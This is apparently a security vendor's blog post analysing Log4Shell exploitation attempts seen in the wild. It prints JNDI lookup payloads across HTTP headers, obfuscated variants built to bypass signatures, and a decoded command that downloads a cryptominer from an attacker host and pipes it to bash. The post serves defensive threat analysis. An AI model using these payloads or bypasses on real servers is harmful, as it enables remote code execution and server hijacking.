Log4J – A Look into Threat Actors Exploitation Attempts

On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.

LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity – forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat.

Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes – not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align

Quick Mitigation

At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers.

Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques.

Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attack’s lifecycle and adoption by various threat actors, once such a vulnerability goes public.

Exploit Trends and Anecdotes

We found exploit attempts using the normal attack payload:

${jndi:ldap://<MALICIOUS DOMAIN>/Exploit} 

We identified some interesting variations and trends:

Adopted by Scanners

Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts:

Access-Control-Request-Method: ${jndi:ldap://<REDACTED_IP>:42468/a}

Access-Control-Request-Headers: ${jndi:ldap://<REDACTED_IP>:42468/a}

Warning: ${jndi:ldap://<REDACTED_IP>:42468/a}

Authorization: ${jndi:ldap://<REDACTED_IP>:42468/a}

TE: ${jndi:ldap://<REDACTED_IP>:42468/a}

Accept-Charset: ${jndi:ldap://<REDACTED_IP>:42468/a}

Accept-Datetime: ${jndi:ldap://<REDACTED_IP>:42468/a}

Date: ${jndi:ldap://<REDACTED_IP>:42468/a}

Expect: ${jndi:ldap://<REDACTED_IP>:42468/a}

Forwarded: ${jndi:ldap://<REDACTED_IP>:42468/a}

From: ${jndi:ldap://<REDACTED_IP>:34467/a}

X-Api-Version: ${jndi:ldap://<REDACTED_IP>:42468/a}

Max-Forwards: ${jndi:ldap://<REDACTED_IP>:34467/a}

Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While it’s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one can’t help but wonder what would happen if these tools were used by malicious actors.

Sinkholes Created

nspecting attack traffic allowed us to find sinkhole addresses used for checking vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerability PoC is found to be successful.  

A bunch of HTTP requests with headers such as the ones below indicate the use of a sinkhole: 

User-Agent: ${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent 

User-Agent: ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent} 

We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds.  

This header seen in the wild: 

X-Api-Version: ${jndi:ldap://<REDACTED>.burpcollaborator.net/a 

This is an example of using the burpcollaborator platform for sinkholing successful PoCs. In this case, the header used was an uncommon one, trying to bypass security products that might have overlooked it.  

Among many sinkholes, we also noticed <string>.bingsearchlib.com, as mentioned here too.  

Bypass Techniques

Bypass techniques are described in a couple of different GitHub projects ([1], [2]). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that won’t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps://

A funny one we found in the wild is:

GET /?x=${jndi:ldap://1.${hostName}.<REDACTED>.interactsh.com/a}  
Host: <REDACTED_IP>:8080 
User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://2.${hostName}.<REDACTED>.interactsh.com} 

Connection: close 
Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3.${hostName}.<REDACTED>.interactsh.com} 
Accept-Encoding: gzip 

In this request, the attacker attempted three different attack methods: the regular one (in green), as well as two obfuscated ones (in purple and orange).
Seems like they’ve assumed a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However, they missed the fact that many modern security vendors would drop this request altogether, leaving them exposed to being signed and blocked by their “weakest link of obfuscation.”  

Real Attacks – Cryptomining on the Back of Exploitation Victims

While many of the techniques described above were used by pentesting tools and scanners to show a security risk, we also found true malicious actors attempting to leverage CVE-2021-44228 to drop malicious code on vulnerable servers. The attacks look like this: 

Authorization: ff=${jndi:ldap://<REDACTED_IP>:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==} 

Base64-decoding the payload above reveals the attacker’s intentions: 

… 

(wget -O – http[:]//<REDACTED_IP>:8005/acc||curl -o – http[:]//<REDACTED_IP>:8005/acc)|/bin/bash 

Downloading the file named acc leads to a bash code that downloads and runs XMrig cryptominer. Furthermore, before doing so it closes all existing instances of the miner and shuts them off if their CPU usage is too high to keep under the radar. Needless to say, the mined crypto coins make their way to the attacker’s wallet.  

The SANS Honeypot Data API provides access to similar findings and variations of true attacks that target their honeypots.  

The Apache Log4j vulnerability poses a great risk to enterprises that fail to mitigate it on time. As we described, the vulnerability was promptly used not only by legitimate scanners and pentesting tools, but by novice and advanced attackers, as well. Cato customers were well taken care of. We made sure the risk was promptly mitigated and notified our customers that their networks are safe. Read all about it in our  blog post: Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability. So until the next time….